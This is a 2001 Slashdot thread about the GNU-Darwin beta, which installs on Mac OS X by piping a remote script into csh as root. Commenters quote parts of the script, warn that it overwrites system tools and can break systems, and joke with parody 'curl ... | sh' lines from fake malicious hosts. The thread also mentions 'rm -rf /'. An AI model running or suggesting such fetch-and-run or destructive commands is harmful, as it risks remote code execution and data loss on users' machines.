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BSD Operating Systems

GNU-Darwin Goes Beta 150

Posted by CmdrTaco from the now-that's-easy dept.
proclus writes "OSX.1 users can now install the GNU-Darwin base distribution automatically with one command. As Root: "curl http://gnu-darwin.sourceforge.net/one_stop | csh"." This assummes you have curl or wget or something. From there you can install gnome, abiword, gimp or whatever. Looks pretty smooth (although I'm kinda confused how you get back to OSX.1 from there ;)
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GNU-Darwin Goes Beta More

GNU-Darwin Goes Beta

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  • Has anyone installed this yet? I'ld love to see some screen shots and reviews by actual users.

  • getting back (Score:2, Informative)

    by jbarket ( 530468 )
    i think all the information on getting back etc is covered at www.xdarwin.com ... something like ctrl+fnc a i think.

  • gnome over x? (Score:4, Insightful)

    by macsox ( 236590 ) on Monday October 29, 2001 @12:35PM (#2493012) Journal
    i am truly at a loss as to why one would install gnome over os x. i understand the issue of an os being open-source, etc., but you can pick up a $99 pentium box to run gnome, if you're that interested in having it.

    (and what's with this 20 seconds before post rule? does everyone on slashdot think really slowly?)

    • Re:gnome over x? (Score:4, Interesting)

      by alfredo ( 18243 ) on Monday October 29, 2001 @12:50PM (#2493079)
      It gives expanded resources. You can run it rootless so XWindows apps run alongside Aqua apps.

      Steve Jobs knew this would happen. Kind of like Field of Dreams, "If you build it, they will come."

      Here is one screenshotWindowmaker and other goodies [hyperjeff.net]

      this one is nice too. a lot going on [hyperjeff.net]

      • Ok, that's really freaky. It almost makes me want to have a Mac.

        I thought Aqua didn't use X though. How does this actually work? What's the window manager?

        • Re:gnome over x? (Score:4, Informative)

          by Ryan Amos ( 16972 ) on Monday October 29, 2001 @01:51PM (#2493370)
          Aqua doesn't, however, you can download a rootless X server (http://sourceforge.net/projects/xonx/ [sourceforge.net]) that lets you run X apps right along with Aqua apps. The same files are also available on http://macosx.forked.net/ [forked.net] in Mac OS X .pkg files, along with other useful stuff OS X doesn't include, such as ncurses. The window manager, by the way, is whatever window manager you decide to install-- it's just XFree86 ported to a darwin kernel with a rootless option. If you're not running OS X, XDarwin (not XonX) will probably work better for you.. It doesn't have the rootless option, but if you don't have Aqua, you don't really need it. Hope this was of help to some people.

          • Does that mean that the X applications run on a plane "above" Aqua? So an X window can't be beneath an Aqua window?

            I guess what I'm missing is how these two environment's interact. How, for example, does an event (mouse-click, keypress, etc.) get to the right environment? If I give focus to an Aqua window, does the X window lose focus?

            • context switching (Score:2, Informative)

              by WiseWeasel ( 92224 )
              Your X environment is a Mac application that you can switch to by clicking on its window or on its dock or double clicking on its finder icon. Once the X environment is frontmost, you can switch frontmost apps the way you usually do with whatever window manager.
      • Seeing a Nextstep-ish window system on top of OS X is quite a hoot! Thanks.

    • Re:gnome over x? (Score:3, Informative)

      by Chakat ( 320875 )
      Simplicity and variety, my friend. Instead of having to boot to another OS, you just have to fire up gnome. Plus, there are a few apps, such as the kickass Galeon, which don't run under OSX. More programs is always a good thing.

      And the 20 second rule is to try to discourage crapflooders and trolls. Not very effective, but its something most regular users don't come across (I haven't, at least).

    • A $99 pentium box? Why? If you already have an OSX capable machine, it costs far less to install the GNU-Darwin distribution. The hassles associated with integrating a old, slow machine into a home network are surely not worth it...

      I use a similar ditribution to run GNU-Octave on my machine. It is faster and more convenient for me to run X apps on my iBook than on my old Pentium II linux box.

    • Re:gnome over x? (Score:3, Insightful)

      by vanguard ( 102038 )
      i am truly at a loss as to why one would install gnome over os x

      I'm surprised nobody else said this; It's let's me run my X apps. As a long time linux user who just switched to OSX I find myself missing gvim, gaim, etc. With X11, I can get these things going again. Now I have the beauty of OSX, the stability of unix (bsd), and the apps of the open source world. I like my apple.

  • OK Taco... (Score:1, Redundant)

    by dhovis ( 303725 )
    Curl comes installed by default in MacOS X 10.1. Wget was the default in MacOS X 10.0

    Sheesh. Why do you think they said it would only take one command?

  • What's so special about this distribution? (Score:5, Interesting)

    by Jeremy Erwin ( 2054 ) on Monday October 29, 2001 @12:42PM (#2493036) Journal
    I use fink [sourceforge.net] myself. It's sort of a clone of apt-get for OSX. I have octave, gimp, latex, and a host of other applications on my machine. What's the advantage of this "distribution"?

    • fink == apt-get (Score:4, Informative)

      by mbrubeck ( 73587 ) on Monday October 29, 2001 @03:43PM (#2493947) Homepage
      I use fink myself. It's sort of a clone of apt-get for OSX. Minor correction -- fink is not "sort of a clone" of the Debian tools. It is actually a frontend to the dpkg/apt suite, which they ported to OS X. Fink uses the real Debian package management tools and the .deb package format.
    • GNU-Darwin is like the Fink, except with ten times more software, and pkg_install/ports instead of apt_get. Use what you like, what you familiar with, what is comfortable, whatever ;-}.


      Regards,
      proclus

      • GNU-Darwin is like the Fink, except with ten times more software

        ...at a fraction of the quality. As anyone can see from the shell script mentioned in the story, that applies to both the packages and the scripts that keep the distribution together. Some really funny excerpts:

        ln -s /usr/bin/install /usr/bin/install-info
        ln -s /usr/bin/install /usr/local/bin/install-info

        ln -s /usr/X11R6/bin/enlightenment /bin

        ln -s /usr/X11R6/lib/libfreetype.7.0.dylib /usr/X11R6/lib/libfreetype.6.dylib

        Then there's other fun stuff like replacing /usr/bin/tar the most dangerous way, or the script version number in the comment: 0.0.1a2 (untested)

        I really don't know if I should laugh or cry about this...

        • Bad day?


          None of the above has anything to do with the quality of the distro.


          Regards,
          proclus

          • Bad day?

            Not at all. I'm just horrified by the scripts that you ask people to execute as root. I'm also defending Fink in the comparison you make. Saying that GNU-Darwin and Fink are the same and the only difference is the number of available packages misses some important differences, and one of them is testing and quality.

            None of the above has anything to do with the quality of the distro.

            Quite to the contrary, they have very much to say:

            • install-info and install are on completely different playgrounds. install is an enhanced version of cp/mv with special features for installing executables in their final destination. install-info is used to maintain the 'dir' file of a documentation collection in Info format. There are actually at least two incompatible versions of install-info out there, and the install command is far from a useful substitute. /bin/true would be a far better (i.e. less dangerous) "do nothing" replacement. Anyway, this tells me that a) GNU-Darwin doesn't maintain the dir file, and b) you don't even know what install-info is supposed to do.
            • The only reason I can see to link enlightenment from /bin is because the enlightenment.install script distributed with it is somewhat broken. Instead of fixing the script, you've opted to make a link in an inappropriate directory.
            • Major revisions of shared libraries are made because there are changes that break binary compatibility. Linking one major revision of libfreetype to another one - instead of looking into the problem and coming up with a real solution - is asking for trouble.

            And, well, the version number and the complete lack of sanity checks and error handling in the install script also says a lot about the quality of the distro. Remember, distro = packages + infrastructure + handling scripts.

            • None of these are serious issues, which affect the utility of the Distribution in the slightest. It seems to me that the quality of your argument is in question. The only reason to choose the Fink would be if you like the software selection or the Debian package manager better that the BSD-style tools.

              Regards,
              proclus
  • A few of my friends have installed this package and they've generally been very impressed. The applications are speedy and rock-solid. The one exception that they mention is Dillo: "a replacement for any major web browser." Although Dillo renders quickly and doesn't have a bloated UI [mozilla.org], its support for major features such as JavaScript 2 and CSS is lacking, to be kind. Many web pages, such as MSN [msn.com] and Tom's Hardware [tomshardware.com], look very cluttered and misrendered in it - if they even come up at all.

    Dillo is a neat little effort, a cool side project, but no replacement for a real browser like Galeon or Konqueror. It is beyond a shadow of a doubt, the lowest point of the GNU-Darwin package.

    -CT

  • That script is weird... (Score:4, Informative)

    by CoolVibe ( 11466 ) on Monday October 29, 2001 @01:03PM (#2493141) Journal
    It replaces everything with GNU darwin stuff if you run it on Mac OS X. How do they know that doesn't break anything? e.g. GNU ls is different from the BSD type ls Mac OS X has installed default. I think a big YMMV is in place here.

    That said, I'll just download the ISO and free up a partition to run it alongside Mac OS X and Aqua. That way my normal OSX system is guaranteed not to break. My mac is a test machine anyway. I run different operating systems on it depending on what I need to test. I urge everyone that wants to test this on their machine that runs important stuff to BACK UP THEIR IMPORTANT FILES, just to be safe.

    Oh.. another thing: it's BETA. It might break. So be a little cautious, and be prepared to pull up your sleeves and do some work if it breaks, but hey, that's what being bleeding edge is all about, right?

    But anyway: Great work guys! I'll seriously check it out. I'm downloading the iso as you read this comment.

    • I installed the full gnu fileutils a while ago to get colorized ls, and df -h, and after a while I realized that the gnu rm command does *not* work with mac os x. I had lots of problems with the drive thinking it was full when it was not, etc. I could fix everything with fsck, and the problems went away when I went back to the included rm command. (As always, this may have been fixed since I had problems with it.)

      Also, Apple does beneficial work on the commands that they include. For example, with the rm included in 10.1, it is now able to delete files that are locked at the (HFS+) filesytem level. Gnu rm will never do that.
    • Running the script hosed my system unrepairably. It would no longer boot into OS X AT ALL! Only a full reformat & re-install fixed it.
      Definitely a YMMV is in order.
    • Don't you think that this is trolling a little?

      We know that it doesn't break anything, because we are doing much cool stuff with it. For example,

      Researcher brings Open-Source [apple.com]
      Software to the
      Mac

      Regards,
      proclus
      • Why is it trolling? I'm just warning people that they should not run that script with reckless abandon. I read the script and there is stuff in there that is just beyond me. Replacing the OSX shipped fileutil-like tools with GNU versions is a bad idea. if the OSX user is running on a HFS+ partition (as many do. Mac OS Classic and Carbon apps have some issues with UFS, because the directory delimiter on HFS is ':' and UFS uses '/'. This seriously confuses some apps. Same goes for some GNU utils that just don't take the proprietary HFS+ filesystem features into account, which is understandable, since the HFS+ fs isn't really open. You needn't replace them because they're not broken. Oh, and not everyone has the same setup. Some people use UFS, some with HFS+. Some people run with classic, some without. Some run OS X 10.0.4, and some run 10.1. That's a lot of variables. So it might work on your system, but not on someone else's. However, the people that _do_ end up with a hosed machine should mail you guys about what setup they have, what version OSX they use, if they use HFS+ or UFS etc. etc. That install script can go a long way as you get more input about systems on which it doesn't work. That's Finnagle's law for ya.

        Nevertheless, what you guys are doing with the free Darwin system is very cool, I will heartily agree with that, but "upgrading" my existing OSX system with your script is a bit dangerous. There's another comment in this discussion somewhere that talks about that as well. Maybe you could provide a version of the script that only installs the rootless X stuff and the GNOME bits, and maybe a script that transforms an Aqua system to a GNU/Darwin one. The possibilities are endless here, as are the wishes of the people that wish to run those nifty OSS X11 apps on their Aqua setup. I would like to help, but I have priorities elsewhere that take up most (if not all) of my scarse free time. I will definately try GNU/Darwin on my Mac, but I'll just play safe and set a partition aside for it, so I won't hose my Aqua system.

        You guys are doing a great job, but the OSX install script has issues (and it even says 'untested' in the script header somewhere). I am not trolling, and I am not attacking your project. I am merely warning people that they should be careful.... That's all... You guys keep on going. You are doing some cool stuff. But a YMMV is definately in order here.

        So people, just try the upgrade script, but your mileage may vary. Oh, if it somehow screws up your machine, please send bugreports to the GNU/Darwin people and don't forget to report what setup you have and what the problems were so they can fix it.

        • This is not an upgrade for an Apple supplied OSX installation, this is an installation for a Darwin (not supplied or supported by Apple) installation. If you're using OSX and running this script you'll probably fuck something up seriously because OSX is a bit different from the Darwin distro. You can run the GNU-Darwin Ports on OSX but it would be pretty silly for me to run this script on my 10.1 installation on my Powerbook.
          • Why isn't that in the form of a warning on the webpage with +100 size font and blinking letters?

            As you can see from some of the /. reading public, they tried it anyway, so somewhere someone didn't get it (and neither did I).

            Why is everyone in this discussion going on about curl and wget on OSX? Makes me think I'm not the only one here that didn't get it.

            Needless to say, it should be more obvious that this upgrade script is not intended vor OSX. Maybe a few tests can be built into the script, to prevent running on a OSX system?

          • To the contrary, this upgrade is especially for Mac OSX.1 users. GNU-Darwin is OSX.1 compatible, and it will remain so.


            Regards,
            proclus

  • WGET Missing from OS X.1 (Score:3, Interesting)

    by Buran ( 150348 ) on Monday October 29, 2001 @01:19PM (#2493215)
    "This assummes you have curl or wget or something."

    Well, I did have wget in 10.0 up to 10.0.4, but the 10.1 update "helpfully" deleted it from my system. After several annoyed looks and some time spent searching Google, I found a download site [24.5.29.77] for a precompiled binary for wget that will run under OS X (downloads as an installer .pkg file; you'll need to be root or an admin to install it.) The file is, for those who want to get it directly, here [24.5.29.77] (.tar.gz format... use gunzip and tar -xvf to unpack if StuffIt Expander doesn't/can't.)

    If you really, really want to compile yourself (you need to have installed the developer tools, which come with boxed copies of OS X), the source is here [gnu.org].

    Beats me why Apple did this...

  • This just in... (Score:3, Funny)

    by geomcbay ( 263540 ) on Monday October 29, 2001 @01:24PM (#2493236)
    Matt Dillon falls off his rocker, calls for this project to be renamed BSD/GNU-Darwin.

  • Um, disturbing (Score:5, Interesting)

    by skullY ( 23384 ) on Monday October 29, 2001 @01:40PM (#2493312) Homepage
    Is anyone else highly disturbed by this? Have you read through that csh script? And why csh, there's no black magic there, and at least my copy of osx came with /bin/sh.

    From the script:

    essential_binaries:

    curl -o wget http://gnu-darwin.sourceforge.net/packages/wget
    chmod 755 wget
    cp wget /usr/bin
    rehash
    Erm, so 10.1 comes with curl, which besides providing a library for use in your own programs, also seems to be more unix-like and full featured than wget, with the exception of recursively getting an entire directory tree, which 95% of the time I use wget I'm not doing anyway. This script also doesn't seem to use wget for anything but fetching single files. (Was s/wget/curl -O/ too hard?)

    cd /usr/bin

    mv tar ~
    wget http://gnu-darwin.sourceforge.net/packages/tar
    chmod 755 /usr/bin/tar
    wget http://gnu-darwin.sourceforge.net/packages/killall
    chmod 755 /usr/bin/killall
    Oh boy, here come the first of the unwelcome "improvements." Apple thoughtfull provided not only the bsd tar program, but a binary called "gnutar" as well that seems to support all the options of GNU tar on my linux machines (With the one exception of bzip2 compatability, but that's easily fixed by piping bzip2 output to tar.) And KILLALL, don't forget about one of the single most dangerous commands to get into the habit of using, next to rm -rf. God forbid they have to cat pid files or even use awk to figure out a process id in a one time use shell script. It might make the script ugly.

    *sigh*

    I really do appreciate the work GNU-Darwin is doing, they're filling the few gaps on my osx machine. I just wish they didn't go the extra mile to make my system GNUified. It's not becoming of a nice BSD install.

    • Re:Um, disturbing (Score:2, Interesting)

      by CoolVibe ( 11466 )
      Indeed... Wow, sensible people at slashdot. Who would have thought that? ;-)

      Instead of instantly running to my Mac OS X machine to type in the command line so I could have GNU/Darwin on my OSX installation I first _READ_ the script.

      Again... YMMV to all who try this out. Don't whine if it breaks. I can not stress this enough: back up your important files first.

      I wish Taco took more care in posting stories like this without slapping a big YMMV on it. Someone actually might try it out and render his system unusable. I'm waiting for the horror stories already.

      Oh, I would like to mention that GNU/Darwin is very cool, I have no gripes with it (yeah, well I got some, but they are merely small things I needn't bother anyone with and which I can easily solve myself) but I am always weary of "ready to run" upgrade scripts that run right off the web. It makes me think of a comment Wietse Venema once made about security and running scripts in a hapless fashion without checking what it actually does.

      So... again... YMMV... If it breaks, well, you have been warned. Now go and have fun. GNU/Darwin is seriously cool. Try it. (but back up your files, just in case).

  • curl | csh? Danger will Robinson, danger!!! (Score:3, Insightful)

    by Mike McTernan ( 260224 ) on Monday October 29, 2001 @02:52PM (#2493669)

    curl http://gnu-darwin.sourceforge.net/one_stop | csh

    Erm. Isn't this a bit of a dangerous install strategy? e.g. sourceforge get hacked again and http://gnu-darwin.sourceforge.net/one_stop points to a script that starts with 'rm -rf /'. Not so fun now...

    Wouldn't it be better to use something that does a bit of public key crypto and verifies that you are really downloading something signed by a darwin guy or sourceforge? At least using https would help to stop a man in the middle attack...

  • x86 Darwin (Score:4, Interesting)

    by Hostile17 ( 415334 ) on Monday October 29, 2001 @03:30PM (#2493851) Journal
    Does anyone know if any active development is taking place for the x86 port of Darwin ? I have downloaded it and had look, but it supports very little hardware and if I build a system just for it, I might as well get an iMac and use it in its native platform.
    • What's so wrong with 'rm -Rf ' ? It's the only command I use for trashing dirs. As long as you know what you're doing (which lets face it, most here do) you're not going to trash anything important. People who don't know how to use commands like this safely should do what Apple wants them to do and stick to a GUI, and it you rm -Rf /bin or rm -Rf /System it's your own fault.

  • Note the actual license on GNU-Darwin-ports (Score:3, Informative)

    by mr ( 88570 ) on Monday October 29, 2001 @03:59PM (#2494042)
    Is actually a BSD license.

    And, on the main page, the license is listed as GPL. http://sourceforge.net/projects/gnu-darwin/

  • Um yeah... Just for the people who copy and paste before reading through!

  • Other safe, easy installations to run as root: (Score:3, Funny)

    by Nindalf ( 526257 ) on Monday October 29, 2001 @05:03PM (#2494382)
    curl http://madhaxxors.com/0wnZj00 | sh
    curl http://goatse.cx/setwallpaper.csh | csh
    curl http://spamforprofit.org/easymoney.pl | perl
    curl http://microsoft.com/msonly/seekNdestroy | bash

  • http://curl.haxx.se/ (Score:2, Informative)

    by bagder ( 32513 )
    Hey

    Lots are being said about cURL in these discussions, both favourable and some things not so favourable. Feel free to stop by and make your own opinion.

    We host our project web pages at http://curl.haxx.se/ [curl.haxx.se] and we welcome your contributions!

  • GNU? (Score:2)

    by Arandir ( 19206 )
    Darwin is not a GNU project. FreeBSD is not a GNU project. Mach is not a GNU project. OSX is not a GNU project.

    And of course, GNU Darwin is not a GNU project. So why is it called "GNU Darwin"? This project has nothing to do with GNU. Sure it has some ported GNU software, but so do my Solaris and FreeBSD boxen. Come to think of it, so do my Windows and QNX boxen.
    • Hi Arandir! You have to understand that the project is more about software freedom than it is about geneologies. We call it GNU-Darwin because we are reaching Apple users with free software.

      Regards,
      proclus
      • We call it GNU-Darwin because we are reaching Apple users with free software.

        That might make sense if all of the free software you were porting over to Darwin where GNU software. But it's not. GNU is not a repository of all possible free software. It is a specific project to create a specific operating system.

        Why not call it "BSD Darwin"? BSD is also free software, and there's a hell of a lot more BSD stuff in GNU Darwin than there is GNU stuff. Since RMS insists that LinuxOS be called "GNU/Linux" since he thinks it is derived from GNU, then why not call your project "BSD Darwin" since it is clearly derived from BSD software.

        Or even better, since you want to use "GNU" to imply "free", why not just call it "Free Darwin?" You would avoid much confusion that way. It would also avoid pissing off the BSD community by taking their software and renaming it GNU.
        • A rose by any other name?


          GNU=Free


          There you have it. Do you want to have our usual free software debate again, Ara-dear? ;-}


          Regards,
          proclus

          • Re:GNU? (Score:3, Insightful)

            by Anonymous Coward
            What the shit is this? Are you RMS in the form of a teenager?

            GNU != free

            ...and it sure would be nice if RMS and his commie-butties would quit trying to give such a singular meaning to a word that has so many interpretations within our language.

            It's absurd, I tell you. Websters has it right. There's multiple definitions of the word "free". Therefore, assuming a singular meaning for a term like "free software" is bunk.

            By the way, I find you and your project boring and trollsome. I'm glad you prefixed it with "GNU" so I can toss it into the same loony bin linux belongs in.

            (pre-emptive "fuck you" to the moderator who mods this down - I'm damn right with respect to the word free, don't cover it up with slashtrash points)
            • Software freedom rules, and GNU-Darwin will continue to bring GNU-style free software to Apple users.

              Regards,
              proclus
          • GNU=Free

            Hmmm, not quite.

            GNU="GNU's Not Unix".

            GNU is free, but not everything that is free is GNU. How much more plain than that can you get?

            Oh, and don't call me "dear" :-)
            • We are using the FreeBSD ports and package tools to bring FSF-style free software to Apple users. GNU* is the correct name for what we are doing.

              Regards,
              proclus
              • Taking a quick look at the "Recent Additions" packages list, I see that 9 out of the first 10 entries have no ties at all to the FSF (the tenth is a tenuous tie at best).

                Looking closer, I see that the first two entries aren't even licensed under a FSF-style license at all, but under MIT-style licenses.

                I'm not sure what you mean by "FSF-style free software", but it's clear that your project is porting more than GNU software, and more than copyleft software.
                • With the exception of the ports system itself, nearly all of our top offering are GPL-covered. Check the basefiles.


                  Having said that, free software is what it is. We favor copyleft, but we are using are using the ports system to bring free software to users. Of course, that ports system is derived from FreeBSD, as you know, and all 6000 ports were picked by FreeBSD users and developers.


                  We have added a number of ports to the collection, most of which are copyleft, all of which are free software.


                  Regards,
                  proclus

    • Why is Linux technically called "GNU-Linux"? It's not because of the Linux kernel; it's for the GNU tools that are attached to the Linux kernel. In theory, if I built a whole toolchain and simple programs to run under the Linux kernel, and they wern't GNU tools, my distro wouldn't be "GNU-Linux", it would be something else.

      It _is_ correct to refer to the package of GNU programs for Darwin/OS X as "GNU-Darwin". It has nothing to do with whether or not Darwin is GNU and everything to do with the tools being GNU. In theory, your Windows box with GNU software (If it has the full set) is now "GNU-Windows". Pretty nifty eh?
      • RMS wants LinuxOS to be called GNU/Linux because he really believes that it is "The GNU System" that he started back in 1985. It has nothing to do with there being GNU software included. Solaris ships with GNU software but RMS doesn't call it GNU/Solaris. FreeBSD contains just as much GNU software as LinuxOS does, but he doesn't want to call it GNU/FreeBSD.

        He just thinks that Linux is really The GNU System with linux as the kernel instead of Hurd.

        GNU Darwin is no such beast. Not even close.

        In theory, your Windows box with GNU software (If it has the full set) is now "GNU-Windows".

        Of course Windows doesn't have the "full set". GNU is a complete operating system in its own right. What good is Hurd going to do under Windows?

        But that's beside the point. Not even RMS considers Windows with all possible GNU software installed on it to be "GNU/Windows".
      • Why is Linux technically called "GNU-Linux"? It's not because of the Linux kernel; it's for the GNU tools that are attached to the Linux kernel. In theory, if I built a whole toolchain and simple programs to run under the Linux kernel, and they wern't GNU tools, my distro wouldn't be "GNU-Linux", it would be something else.


        It _is_ correct to refer to the package of GNU programs for Darwin/OS X as "GNU-Darwin". It has nothing to do with whether or not Darwin is GNU and everything to do with the tools being GNU. In theory, your Windows box with GNU software (If it has the full set) is now "GNU-Windows". Pretty nifty eh?
        -- Terry


        I don't own an Apple/BSD/GNU/Darwin system, so this is all conjecture; but I was under the impression that the "toolchain" was derived from FreeBSD, wich would place it largely under the BSD license. If that is in fact the case, then it would not be any more valid to call it GNU/Darwin then would Windows GNU/Windows (granted, you cannot rebuild windows using cygwin) or calling FreeBSD GNU/FreeBSD (where you do use GNU tools to rebuild the OS).

        Point being, how is it you can call it GNU/Darwin, but not GNU/FreeBSD? Where is it you're saying the difference lies? In using GNOME? In replaceing the fileutils? Where, exactly?
    • is GNU/Darwin a paradox?

      Darwin is Unix, as is its bigger brother, Mac OS X. Real Unix. BSD 4.4 (or whatever minor version is actually is). GNU means "GNU is Not Unix" (it's recursive, but that's the fun of it). So what does GNU/Darwin mean?

  • I mean, Darwin has it's own mascot, the Platypus. Why not use that instead of the BSD demon?
  • Did they really use csh for their install script? Ouch.
  • For the bitchers, please remember than the GNU-Darwin project no matter how inaptly named is not supported by Apple and thus anything mentioning the GNU-Darwin project may fuck up an Apple supplied OSX installation. Besides that I think this project is pretty nifty, it's one of the reasons I was pretty excited about getting OSX on my Powerbook. Not only would I get the cool features of OSX I also get to fire up Terminal.app and use a huge number of FreeBSD ports. The article from the other day where both OS 7.6 and WindowsXP were running on an iBook 466 I found pretty interesting. There was little content but the demonstration was pretty cool.

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